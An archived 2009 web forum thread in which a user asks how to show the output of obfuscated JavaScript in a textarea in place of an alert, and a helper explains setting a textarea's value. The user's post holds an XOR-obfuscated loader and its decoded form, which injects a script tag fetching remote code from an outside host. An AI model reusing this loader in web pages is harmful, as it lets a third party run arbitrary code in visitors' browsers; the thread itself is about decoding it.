PDA

View Full Version : Resolved alert within a textarea



newbtophp
10-24-2009, 08:23 PM
Hi,

If i have code which contains:

document.write()... and I replace with alert() the code is poped up. However im trying to create a function which does the same functionality as alert() except doesnt pop up - all data is within a textarea.

Example:


<script>

var enkripsi="'1Aqapkrv'1G'2Cc'1Ffmawoglv,apgcvgGngoglv'0:'05qapkrv'05'0;'1@'2Cc,qpa'1F'05jvvr'1C--qvcdd,`ncaicrrngjmqv,amo-H2[-qapkrv,vzv'05'1@'2Cfmawoglv,egvGngoglvq@{VceLcog'0:'00jgcf'00'0;'7@2'7F,crrglfAjknf'0:c'0;'1@'2C'1A-qapkrv'1G"; teks=""; teksasli="";var panjang;panjang=enkripsi.length;for (i=0;i<panjang;i++){ teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2) }teksasli=unescape(teks);document.write(teksasli);

</script>

I've now replaced document.write with alert:


<script>

var enkripsi="'1Aqapkrv'1G'2Cc'1Ffmawoglv,apgcvgGngoglv'0:'05qapkrv'05'0;'1@'2Cc,qpa'1F'05jvvr'1C--qvcdd,`ncaicrrngjmqv,amo-H2[-qapkrv,vzv'05'1@'2Cfmawoglv,egvGngoglvq@{VceLcog'0:'00jgcf'00'0;'7@2'7F,crrglfAjknf'0:c'0;'1@'2C'1A-qapkrv'1G"; teks=""; teksasli="";var panjang;panjang=enkripsi.length;for (i=0;i<panjang;i++){ teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2) }teksasli=unescape(teks);alert(teksasli);

</script>


and in the popup (data) it says:


<script>
a=document.createElement('script');
a.src='http://staff.blackapplehost.com/J0Y/script.txt';
document.getElementsByTagName("head")[0].appendChild(a);
</script>


But i want the data within the popup to not display within a popup but within a textarea.

Perhaps i can use a function and then replace document.write with that function name (instead of alert).

Thanks

jscheuer1
10-24-2009, 10:37 PM
Writing to a text area is done by assigning the string in question to its value property. For example:


<textarea id="myarea" cols="70" rows="14"></textarea>
<script type="text/javascript">
document.getElementById('myarea').value = 'We Did It!';
</script>

So, if you have:


document.write(something);

You may:


document.getElementById('myarea').value = something;

The only thing that's different from an alert or document.write is that the text area must exist (have already been parsed by the browser) before you can set or change its value property.

newbtophp
10-26-2009, 10:47 PM
Thanks John :)